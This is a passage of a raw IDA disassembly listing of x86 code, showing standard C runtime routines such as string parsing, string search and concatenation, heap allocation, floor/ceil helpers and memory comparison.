; CODE XREF: sub_404869+2Fp ; sub_404E2C+2Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h push esi mov esi, [ebp+arg_0] push edi lea eax, [ebp+arg_8] push eax push [ebp+arg_4] lea eax, [ebp+var_20] push eax mov [ebp+var_1C], 7FFFFFFFh mov [ebp+var_14], 42h mov [ebp+var_18], esi mov [ebp+var_20], esi call sub_41F8BB add esp, 0Ch test esi, esi mov edi, eax jz short loc_41CA7F dec [ebp+var_1C] js short loc_41CA72 mov eax, [ebp+var_20] mov byte ptr [eax], 0 jmp short loc_41CA7F ; --------------------------------------------------------------------------- loc_41CA72: ; CODE XREF: sub_41CA2D+3Bj lea eax, [ebp+var_20] push eax push 0 call sub_41F714 pop ecx pop ecx loc_41CA7F: ; CODE XREF: sub_41CA2D+36j ; sub_41CA2D+43j mov eax, edi pop edi pop esi leave retn sub_41CA2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA85 proc near ; CODE XREF: sub_41CC44+Ep ; sub_41CC5B+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi call sub_4203B6 mov esi, [eax+64h] cmp esi, ds:off_433444 jz short loc_41CAA3 call sub_420342 mov esi, eax loc_41CAA3: ; CODE XREF: sub_41CA85+15j mov ecx, [ebp+arg_0] and [ebp+var_4], 0 mov bl, [ecx] lea edi, [ecx+1] loc_41CAAF: ; CODE XREF: sub_41CA85+55j cmp dword ptr [esi+28h], 1 movzx eax, bl jle short loc_41CAC9 push 8 push eax push esi call sub_42013A mov ecx, [ebp+arg_0] add esp, 0Ch jmp short loc_41CAD3 ; --------------------------------------------------------------------------- loc_41CAC9: ; CODE XREF: sub_41CA85+31j mov edx, [esi+48h] movzx eax, byte ptr [edx+eax*2] and eax, 8 loc_41CAD3: ; CODE XREF: sub_41CA85+42j test eax, eax jz short loc_41CADC mov bl, [edi] inc edi jmp short loc_41CAAF ; --------------------------------------------------------------------------- loc_41CADC: ; CODE XREF: sub_41CA85+50j cmp bl, 2Dh jnz short loc_41CAE7 or [ebp+arg_C], 2 jmp short loc_41CAEC ; --------------------------------------------------------------------------- loc_41CAE7: ; CODE XREF: sub_41CA85+5Aj cmp bl, 2Bh jnz short loc_41CAEF loc_41CAEC: ; CODE XREF: sub_41CA85+60j mov bl, [edi] inc edi loc_41CAEF: ; CODE XREF: sub_41CA85+65j mov eax, [ebp+arg_8] test eax, eax jl loc_41CC34 cmp eax, 1 jz loc_41CC34 cmp eax, 24h jg loc_41CC34 test eax, eax push 10h pop ecx jnz short loc_41CB37 cmp bl, 30h jz short loc_41CB21 mov [ebp+arg_8], 0Ah jmp short loc_41CB4F ; --------------------------------------------------------------------------- loc_41CB21: ; CODE XREF: sub_41CA85+91j mov al, [edi] cmp al, 78h jz short loc_41CB34 cmp al, 58h jz short loc_41CB34 mov [ebp+arg_8], 8 jmp short loc_41CB4F ; --------------------------------------------------------------------------- loc_41CB34: ; CODE XREF: sub_41CA85+A0j ; sub_41CA85+A4j mov [ebp+arg_8], ecx loc_41CB37: ; CODE XREF: sub_41CA85+8Cj cmp [ebp+arg_8], ecx jnz short loc_41CB4F cmp bl, 30h jnz short loc_41CB4F mov al, [edi] cmp al, 78h jz short loc_41CB4B cmp al, 58h jnz short loc_41CB4F loc_41CB4B: ; CODE XREF: sub_41CA85+C0j inc edi mov bl, [edi] inc edi loc_41CB4F: ; CODE XREF: sub_41CA85+9Aj ; sub_41CA85+ADj ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] loc_41CB57: ; CODE XREF: sub_41CA85+134j mov esi, ds:off_4333E0 movzx ecx, bl mov cx, [esi+ecx*2] test cl, 4 jz short loc_41CB71 movsx ecx, bl sub ecx, 30h jmp short loc_41CB90 ; --------------------------------------------------------------------------- loc_41CB71: ; CODE XREF: sub_41CA85+E2j test cx, 103h jz short loc_41CBBB cmp bl, 61h jl short loc_41CB8A cmp bl, 7Ah jg short loc_41CB8A movsx ecx, bl sub ecx, 20h jmp short loc_41CB8D ; --------------------------------------------------------------------------- loc_41CB8A: ; CODE XREF: sub_41CA85+F6j ; sub_41CA85+FBj movsx ecx, bl loc_41CB8D: ; CODE XREF: sub_41CA85+103j add ecx, 0FFFFFFC9h loc_41CB90: ; CODE XREF: sub_41CA85+EAj cmp ecx, [ebp+arg_8] jnb short loc_41CBBB or [ebp+arg_C], 8 cmp [ebp+var_4], eax jb short loc_41CBAA jnz short loc_41CBA4 cmp ecx, edx jbe short loc_41CBAA loc_41CBA4: ; CODE XREF: sub_41CA85+119j or [ebp+arg_C], 4 jmp short loc_41CBB6 ; --------------------------------------------------------------------------- loc_41CBAA: ; CODE XREF: sub_41CA85+117j ; sub_41CA85+11Dj mov esi, [ebp+var_4] imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_4], esi loc_41CBB6: ; CODE XREF: sub_41CA85+123j mov bl, [edi] inc edi jmp short loc_41CB57 ; --------------------------------------------------------------------------- loc_41CBBB: ; CODE XREF: sub_41CA85+F1j ; sub_41CA85+10Ej mov eax, [ebp+arg_C] dec edi test al, 8 jnz short loc_41CBD2 cmp [ebp+arg_4], 0 jz short loc_41CBCC mov edi, [ebp+arg_0] loc_41CBCC: ; CODE XREF: sub_41CA85+142j and [ebp+var_4], 0 jmp short loc_41CC1D ; --------------------------------------------------------------------------- loc_41CBD2: ; CODE XREF: sub_41CA85+13Cj test al, 4 mov esi, 7FFFFFFFh jnz short loc_41CBF6 test al, 1 jnz short loc_41CC1D and eax, 2 jz short loc_41CBED cmp [ebp+var_4], 80000000h ja short loc_41CBF6 loc_41CBED: ; CODE XREF: sub_41CA85+15Dj test eax, eax jnz short loc_41CC1D cmp [ebp+var_4], esi jbe short loc_41CC1D loc_41CBF6: ; CODE XREF: sub_41CA85+154j ; sub_41CA85+166j call sub_4200B5 test byte ptr [ebp+arg_C], 1 mov dword ptr [eax], 22h jz short loc_41CC0D or [ebp+var_4], 0FFFFFFFFh jmp short loc_41CC1D ; --------------------------------------------------------------------------- loc_41CC0D: ; CODE XREF: sub_41CA85+180j mov al, byte ptr [ebp+arg_C] and al, 2 neg al sbb eax, eax neg eax add eax, esi mov [ebp+var_4], eax loc_41CC1D: ; CODE XREF: sub_41CA85+14Bj ; sub_41CA85+158j ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41CC26 mov [eax], edi loc_41CC26: ; CODE XREF: sub_41CA85+19Dj test byte ptr [ebp+arg_C], 2 jz short loc_41CC2F neg [ebp+var_4] loc_41CC2F: ; CODE XREF: sub_41CA85+1A5j mov eax, [ebp+var_4] jmp short loc_41CC3F ; --------------------------------------------------------------------------- loc_41CC34: ; CODE XREF: sub_41CA85+6Fj ; sub_41CA85+78j ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41CC3D mov [eax], ecx loc_41CC3D: ; CODE XREF: sub_41CA85+1B4j xor eax, eax loc_41CC3F: ; CODE XREF: sub_41CA85+1ADj pop edi pop esi pop ebx leave retn sub_41CA85 endp ; =============== S U B R O U T I N E ======================================= sub_41CC44 proc near ; CODE XREF: sub_407466+283p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41CA85 add esp, 10h retn sub_41CC44 endp ; =============== S U B R O U T I N E ======================================= sub_41CC5B proc near ; CODE XREF: .text:0040B16Ep ; sub_41D8E4+17p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41CA85 add esp, 10h retn sub_41CC5B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41CC80 proc near ; CODE XREF: sub_408CB7+BCp ; sub_408F96+19Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41CD44 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41CCAC loc_41CC9B: ; CODE XREF: sub_41CC80+2Aj mov al, [edi] add edi, 1 test al, al jz short loc_41CCDD test edi, 3 jnz short loc_41CC9B loc_41CCAC: ; CODE XREF: sub_41CC80+19j ; sub_41CC80+42j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41CCAC mov eax, [edi-4] test al, al jz short loc_41CCEC test ah, ah jz short loc_41CCE7 test eax, 0FF0000h jz short loc_41CCE2 test eax, 0FF000000h jnz short loc_41CCAC loc_41CCDD: ; CODE XREF: sub_41CC80+22j sub edi, 1 jmp short loc_41CCEF ; --------------------------------------------------------------------------- loc_41CCE2: ; CODE XREF: sub_41CC80+54j sub edi, 2 jmp short loc_41CCEF ; --------------------------------------------------------------------------- loc_41CCE7: ; CODE XREF: sub_41CC80+4Dj sub edi, 3 jmp short loc_41CCEF ; --------------------------------------------------------------------------- loc_41CCEC: ; CODE XREF: sub_41CC80+49j sub edi, 4 loc_41CCEF: ; CODE XREF: sub_41CC80+60j ; sub_41CC80+65j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41CD04 mov ebx, ecx shr ecx, 2 jnz short loc_41CD5E jmp short loc_41CD26 ; --------------------------------------------------------------------------- loc_41CD04: ; CODE XREF: sub_41CC80+79j ; sub_41CC80+9Dj mov dl, [esi] add esi, 1 test dl, dl jz short loc_41CD4A mov [edi], dl add edi, 1 sub ecx, 1 jz short loc_41CD40 test esi, 3 jnz short loc_41CD04 mov ebx, ecx shr ecx, 2 jnz short loc_41CD5E loc_41CD26: ; CODE XREF: sub_41CC80+82j ; sub_41CC80+DCj mov ecx, ebx and ecx, 3 jz short loc_41CD40 loc_41CD2D: ; CODE XREF: sub_41CC80+BEj mov dl, [esi] add esi, 1 mov [edi], dl add edi, 1 test dl, dl jz short loc_41CD42 sub ecx, 1 jnz short loc_41CD2D loc_41CD40: ; CODE XREF: sub_41CC80+95j ; sub_41CC80+ABj mov [edi], cl loc_41CD42: ; CODE XREF: sub_41CC80+B9j pop ebx pop esi loc_41CD44: ; CODE XREF: sub_41CC80+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41CD4A: ; CODE XREF: sub_41CC80+8Bj ; sub_41CC80+FAj mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CD54: ; CODE XREF: sub_41CC80+F6j ; sub_41CC80+10Ej mov [edi], edx add edi, 4 sub ecx, 1 jz short loc_41CD26 loc_41CD5E: ; CODE XREF: sub_41CC80+80j ; sub_41CC80+A4j mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41CD54 test dl, dl jz short loc_41CD4A test dh, dh jz short loc_41CDAA test edx, 0FF0000h jz short loc_41CD9A test edx, 0FF000000h jnz short loc_41CD54 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CD9A: ; CODE XREF: sub_41CC80+106j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CDAA: ; CODE XREF: sub_41CC80+FEj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41CC80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41CDC0 proc near ; CODE XREF: sub_405771+1A7p ; sub_405771+3AFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41CE40 mov dh, [ecx+1] test dh, dh jz short loc_41CE2D loc_41CDD8: ; CODE XREF: sub_41CDC0+58j ; sub_41CDC0+6Bj mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] add esi, 1 cmp al, dl jz short loc_41CDFE test al, al jz short loc_41CDF8 loc_41CDEB: ; CODE XREF: sub_41CDC0+36j mov al, [esi] add esi, 1 loc_41CDF0: ; CODE XREF: sub_41CDC0+45j cmp al, dl jz short loc_41CDFE test al, al jnz short loc_41CDEB loc_41CDF8: ; CODE XREF: sub_41CDC0+29j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41CDFE: ; CODE XREF: sub_41CDC0+25j ; sub_41CDC0+32j mov al, [esi] add esi, 1 cmp al, dh jnz short loc_41CDF0 lea edi, [esi-1] loc_41CE0A: ; CODE XREF: sub_41CDC0+69j mov ah, [ecx+2] test ah, ah jz short loc_41CE39 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41CDD8 mov al, [ecx+3] test al, al jz short loc_41CE39 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41CE0A jmp short loc_41CDD8 ; --------------------------------------------------------------------------- loc_41CE2D: ; CODE XREF: sub_41CDC0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41C3F6 ; --------------------------------------------------------------------------- loc_41CE39: ; CODE XREF: sub_41CDC0+4Fj ; sub_41CDC0+5Fj lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41CE40: ; CODE XREF: sub_41CDC0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41CDC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CE46 proc near ; CODE XREF: sub_407466+17Ep ; sub_407466+19Ep ... var_28 = dword ptr -28h var_24 = byte ptr -24h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 28h mov eax, ds:dword_433148 push ebx push esi mov esi, [ebp+arg_4] push edi mov [ebp+var_4], eax call sub_4203B6 push 8 pop ecx mov [ebp+var_28], eax xor eax, eax lea edi, [ebp+var_24] push 7 rep stosd pop edi loc_41CE6F: ; CODE XREF: sub_41CE46+42j mov dl, [esi] movzx ecx, dl mov eax, ecx and ecx, edi mov bl, 1 shl bl, cl shr eax, 3 lea eax, [ebp+eax+var_24] or [eax], bl inc esi test dl, dl jnz short loc_41CE6F mov edx, [ebp+arg_0] test edx, edx jnz short loc_41CE9E mov eax, [ebp+var_28] mov edx, [eax+18h] jmp short loc_41CE9E ; --------------------------------------------------------------------------- loc_41CE99: ; CODE XREF: sub_41CE46+6Fj test al, al jz short loc_41CEB7 inc edx loc_41CE9E: ; CODE XREF: sub_41CE46+49j ; sub_41CE46+51j mov al, [edx] movzx esi, al xor ebx, ebx mov ecx, esi and ecx, edi inc ebx shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_24] test bl, cl jnz short loc_41CE99 loc_41CEB7: ; CODE XREF: sub_41CE46+55j mov ebx, edx jmp short loc_41CED3 ; --------------------------------------------------------------------------- loc_41CEBB: ; CODE XREF: sub_41CE46+90j movzx esi, byte ptr [edx] xor eax, eax mov ecx, esi and ecx, edi inc eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_24] test al, cl jnz short loc_41CEDA inc edx loc_41CED3: ; CODE XREF: sub_41CE46+73j cmp byte ptr [edx], 0 jnz short loc_41CEBB jmp short loc_41CEDE ; --------------------------------------------------------------------------- loc_41CEDA: ; CODE XREF: sub_41CE46+8Aj mov byte ptr [edx], 0 inc edx loc_41CEDE: ; CODE XREF: sub_41CE46+92j mov eax, [ebp+var_28] mov ecx, [ebp+var_4] mov [eax+18h], edx mov eax, ebx sub eax, edx neg eax pop edi sbb eax, eax and eax, ebx pop esi pop ebx call sub_41E5BB leave retn sub_41CE46 endp ; --------------------------------------------------------------------------- align 10h cmp ds:dword_439584, 0 jz loc_420A1D sub esp, 8 stmxcsr dword ptr [esp+4] mov eax, [esp+4] and eax, 1F80h cmp eax, 1F80h jnz short loc_41CF34 fnstcw word ptr [esp] mov ax, [esp] and ax, 7Fh cmp ax, 7Fh loc_41CF34: ; CODE XREF: .text:0041CF23j lea esp, [esp+8] jnz loc_420A1D jmp short $+2 movq xmm0, qword ptr [esp+4] movapd xmm2, oword ptr ds:oword_429560 movapd xmm1, xmm0 movapd xmm7, xmm0 psrlq xmm0, 34h movd eax, xmm0 andpd xmm0, oword ptr ds:oword_429580 psubd xmm2, xmm0 psrlq xmm1, xmm2 test eax, 800h jz short loc_41CFC2 cmp eax, 0BFFh jl short loc_41CFFA psllq xmm1, xmm2 cmp eax, 0C32h jg short loc_41CF93 movq qword ptr [esp+4], xmm1 fld qword ptr [esp+4] retn ; --------------------------------------------------------------------------- loc_41CF93: ; CODE XREF: .text:0041CF86j ; .text:0041CFE1j ucomisd xmm7, xmm7 jnp short loc_41CFBD mov edx, 3ECh sub esp, 10h mov [esp+0Ch], edx mov edx, esp add edx, 14h mov [esp+8], edx mov [esp+4], edx mov [esp], edx call sub_42068C add esp, 10h loc_41CFBD: ; CODE XREF: .text:0041CF97j fld qword ptr [esp+4] retn ; --------------------------------------------------------------------------- loc_41CFC2: ; CODE XREF: .text:0041CF74j movq xmm0, qword ptr [esp+4] psllq xmm1, xmm2 movapd xmm3, xmm0 cmppd xmm0, xmm1, 6 cmp eax, 3FFh jl short loc_41D001 cmp eax, 432h jg short loc_41CF93 andpd xmm0, oword ptr ds:oword_429550 addsd xmm1, xmm0 movq qword ptr [esp+4], xmm1 fld qword ptr [esp+4] retn ; --------------------------------------------------------------------------- loc_41CFFA: ; CODE XREF: .text:0041CF7Bj fld ds:dbl_429590 retn ; --------------------------------------------------------------------------- loc_41D001: ; CODE XREF: .text:0041CFDAj cmppd xmm3, oword ptr ds:oword_429570, 6 andpd xmm3, oword ptr ds:oword_429550 movq qword ptr [esp+4], xmm3 fld qword ptr [esp+4] retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D01D proc near ; CODE XREF: sub_41D098+Bp var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset stru_429598 call __SEH_prolog mov esi, [ebp+arg_0] cmp ds:dword_4395BC, 3 jnz short loc_41D063 cmp esi, ds:dword_4395A8 ja short loc_41D063 push 4 call sub_41E983 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_41F1DB pop ecx mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41D08F mov eax, [ebp+var_1C] test eax, eax jnz short loc_41D086 loc_41D063: ; CODE XREF: sub_41D01D+16j ; sub_41D01D+1Ej test esi, esi jnz short loc_41D068 inc esi loc_41D068: ; CODE XREF: sub_41D01D+48j cmp ds:dword_4395BC, 1 jz short loc_41D077 add esi, 0Fh and esi, 0FFFFFFF0h loc_41D077: ; CODE XREF: sub_41D01D+52j push esi push 0 push ds:dword_4395B8 call ds:dword_4290A0 ; RtlAllocateHeap loc_41D086: ; CODE XREF: sub_41D01D+44j call __SEH_epilog retn sub_41D01D endp ; =============== S U B R O U T I N E ======================================= sub_41D08C proc near ; DATA XREF: .text:stru_429598o mov esi, [ebp+8] sub_41D08C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D08F proc near ; CODE XREF: sub_41D01D+3Ap push 4 call sub_41E8CE pop ecx retn sub_41D08F endp ; =============== S U B R O U T I N E ======================================= sub_41D098 proc near ; CODE XREF: sub_41D0C4+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41D0C1 loc_41D09F: ; CODE XREF: sub_41D098+27j push [esp+arg_0] call sub_41D01D test eax, eax pop ecx jnz short locret_41D0C3 cmp [esp+arg_4], eax jz short locret_41D0C3 push [esp+arg_0] call sub_41E56F test eax, eax pop ecx jnz short loc_41D09F loc_41D0C1: ; CODE XREF: sub_41D098+5j xor eax, eax locret_41D0C3: ; CODE XREF: sub_41D098+13j ; sub_41D098+19j retn sub_41D098 endp ; =============== S U B R O U T I N E ======================================= sub_41D0C4 proc near ; CODE XREF: sub_404ED3+2p ; sub_404F03+Cp ... arg_0 = dword ptr 4 push ds:dword_4356BC push [esp+4+arg_0] call sub_41D098 pop ecx pop ecx retn sub_41D0C4 endp ; --------------------------------------------------------------------------- align 10h cmp ds:dword_439584, 0 jz loc_420AF0 sub esp, 8 stmxcsr dword ptr [esp+4] mov eax, [esp+4] and eax, 1F80h cmp eax, 1F80h jnz short loc_41D114 fnstcw word ptr [esp] mov ax, [esp] and ax, 7Fh cmp ax, 7Fh loc_41D114: ; CODE XREF: .text:0041D103j lea esp, [esp+8] jnz loc_420AF0 jmp short $+2 movq xmm0, qword ptr [esp+4] movapd xmm2, oword ptr ds:oword_4295C0 movapd xmm1, xmm0 movapd xmm7, xmm0 psrlq xmm0, 34h movd eax, xmm0 andpd xmm0, oword ptr ds:oword_4295F0 psubd xmm2, xmm0 psrlq xmm1, xmm2 test eax, 800h jnz short loc_41D1A2 cmp eax, 3FFh jl short loc_41D1DA psllq xmm1, xmm2 cmp eax, 432h jg short loc_41D173 movq qword ptr [esp+4], xmm1 fld qword ptr [esp+4] retn ; --------------------------------------------------------------------------- loc_41D173: ; CODE XREF: .text:0041D166j ; .text:0041D1C1j ucomisd xmm7, xmm7 jnp short loc_41D19D mov edx, 3EDh sub esp, 10h mov [esp+0Ch], edx mov edx, esp add edx, 14h mov [esp+8], edx mov [esp+4], edx mov [esp], edx call sub_42068C add esp, 10h loc_41D19D: ; CODE XREF: .text:0041D177j fld qword ptr [esp+4] retn ; --------------------------------------------------------------------------- loc_41D1A2: ; CODE XREF: .text:0041D154j movq xmm0, qword ptr [esp+4] psllq xmm1, xmm2 movapd xmm3, xmm0 cmppd xmm0, xmm1, 1 cmp eax, 0BFFh jl short loc_41D1DD cmp eax, 0C32h jg short loc_41D173 andpd xmm0, oword ptr ds:oword_4295B0 subsd xmm1, xmm0 movq qword ptr [esp+4], xmm1 fld qword ptr [esp+4] retn ; --------------------------------------------------------------------------- loc_41D1DA: ; CODE XREF: .text:0041D15Bj fldz retn ; --------------------------------------------------------------------------- loc_41D1DD: ; CODE XREF: .text:0041D1BAj cmppd xmm3, oword ptr ds:oword_4295E0, 1 orpd xmm3, oword ptr ds:oword_4295E0 andpd xmm3, oword ptr ds:oword_4295D0 movq qword ptr [esp+4], xmm3 fld qword ptr [esp+4] retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D201 proc near ; CODE XREF: sub_405D68+26p ; sub_414CA6+27p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push esi mov esi, [ebp+arg_0] push edi push [ebp+arg_8] lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax mov [ebp+var_14], 42h mov [ebp+var_18], esi mov [ebp+var_20], esi call sub_41F8BB add esp, 0Ch test esi, esi mov edi, eax jz short loc_41D252 dec [ebp+var_1C] js short loc_41D245 mov eax, [ebp+var_20] mov byte ptr [eax], 0 jmp short loc_41D252 ; --------------------------------------------------------------------------- loc_41D245: ; CODE XREF: sub_41D201+3Aj lea eax, [ebp+var_20] push eax push 0 call sub_41F714 pop ecx pop ecx loc_41D252: ; CODE XREF: sub_41D201+35j ; sub_41D201+42j mov eax, edi pop edi pop esi leave retn sub_41D201 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D258 proc near ; CODE XREF: sub_405D68+Cp ; sub_414CA6+Bp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] and [ebp+var_18], 0 push [ebp+arg_0] and [ebp+var_20], 0 lea eax, [ebp+var_20] push eax mov [ebp+var_1C], 7FFFFFFFh mov [ebp+var_14], 42h call sub_41F8BB add esp, 0Ch leave retn sub_41D258 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D290 proc near ; CODE XREF: sub_405FB5+Ap ; .text:0040A655p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41D2E2 mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41D2E3 test eax, 1 jz short loc_41D2C3 mov cl, [esi] cmp cl, [edi] jnz short loc_41D310 add esi, 1 add edi, 1 sub eax, 1 jz short loc_41D2E0 loc_41D2C3: ; CODE XREF: sub_41D290+20j ; sub_41D290+4Ej mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41D310 mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41D310 add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41D2C3 loc_41D2E0: ; CODE XREF: sub_41D290+31j ; sub_41D290+8Aj pop edi pop esi locret_41D2E2: ; CODE XREF: sub_41D290+6j retn ; --------------------------------------------------------------------------- loc_41D2E3: ; CODE XREF: sub_41D290+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41D318 repe cmpsd jz short loc_41D318 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41D30B cmp ch, dh jnz short loc_41D30B shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41D30B cmp ch, dh loc_41D30B: ; CODE XREF: sub_41D290+69j ; sub_41D290+6Dj ... mov eax, 0 loc_41D310: ; CODE XREF: sub_41D290+26j ; sub_41D290+39j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41D318: ; CODE XREF: sub_41D290+5Bj ; sub_41D290+5Fj test eax, eax jz short loc_41D2E0 mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41D30B sub eax, 1 jz short loc_41D345 cmp dh, ch jnz short loc_41D30B sub eax, 1 jz short loc_41D345 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41D30B sub eax, 1 loc_41D345: ; CODE XREF: sub_41D290+97j ; sub_41D290+A0j pop edi pop esi retn sub_41D290 endp ; =============== S U B R O U T I N E ======================================= sub_41D348 proc near ; CODE XREF: sub_4071F6+37p arg_0 = dword ptr 4 arg_4 = word ptr 8 mov eax, [esp+arg_0] mov edx, eax loc_41D34E: ; CODE XREF: sub_41D348+Ej mov cx, [eax] inc eax inc eax test cx, cx jnz short loc_41D34E mov cx, [esp+arg_4] loc_41D35D: ; CODE XREF: sub_41D348+1Ej dec eax dec eax cmp eax, edx jz short loc_41D368 cmp [eax], cx jnz short loc_41D35D loc_41D368: ; CODE XREF: sub_41D348+19j mov dx, [eax] sub dx, cx neg dx sbb edx, edx not edx and eax, edx retn sub_41D348 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D378 proc near ; CODE XREF: sub_41D3D4+Ap var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push 10h push offset stru_429600 call __SEH_prolog call sub_420E8C mov [ebp+var_1C], eax test eax, eax jnz short loc_41D39F call sub_4200B5 mov dword ptr [eax], 18h xor eax, eax jmp short loc_41D3C4 ; --------------------------------------------------------------------------- loc_41D39F: ; CODE XREF: sub_41D378+16j and [ebp+ms_exc.disabled], 0 push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_420D24 add esp, 10h mov [ebp+var_20], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41D3CA mov eax, [ebp+var_20] loc_41D3C4: ; CODE XREF: sub_41D378+25j call __SEH_epilog retn sub_41D378 endp ; =============== S U B R O U T I N E ======================================= sub_41D3CA proc near ; CODE XREF: sub_41D378+44p ; DATA XREF: .text:stru_429600o push dword ptr [ebp-1Ch] call sub_420CD2 pop ecx retn sub_41D3CA endp ; =============== S U B R O U T I N E ======================================= sub_41D3D4 proc near ; CODE XREF: sub_4060DC+3D7p ; .text:00416E79p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41D378 add esp, 0Ch retn sub_41D3D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D3E7 proc near ; CODE XREF: sub_4060DC+41Cp ; sub_4060DC+610p ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push 14h push offset stru_429610 call __SEH_prolog mov esi, [ebp+arg_0] mov [ebp+var_20], esi push esi call sub_420C80 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_420FAE mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push esi call sub_41F8BB mov [ebp+var_24], eax push esi push [ebp+var_1C] call sub_421036 add esp, 18h or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41D43B mov eax, [ebp+var_24] 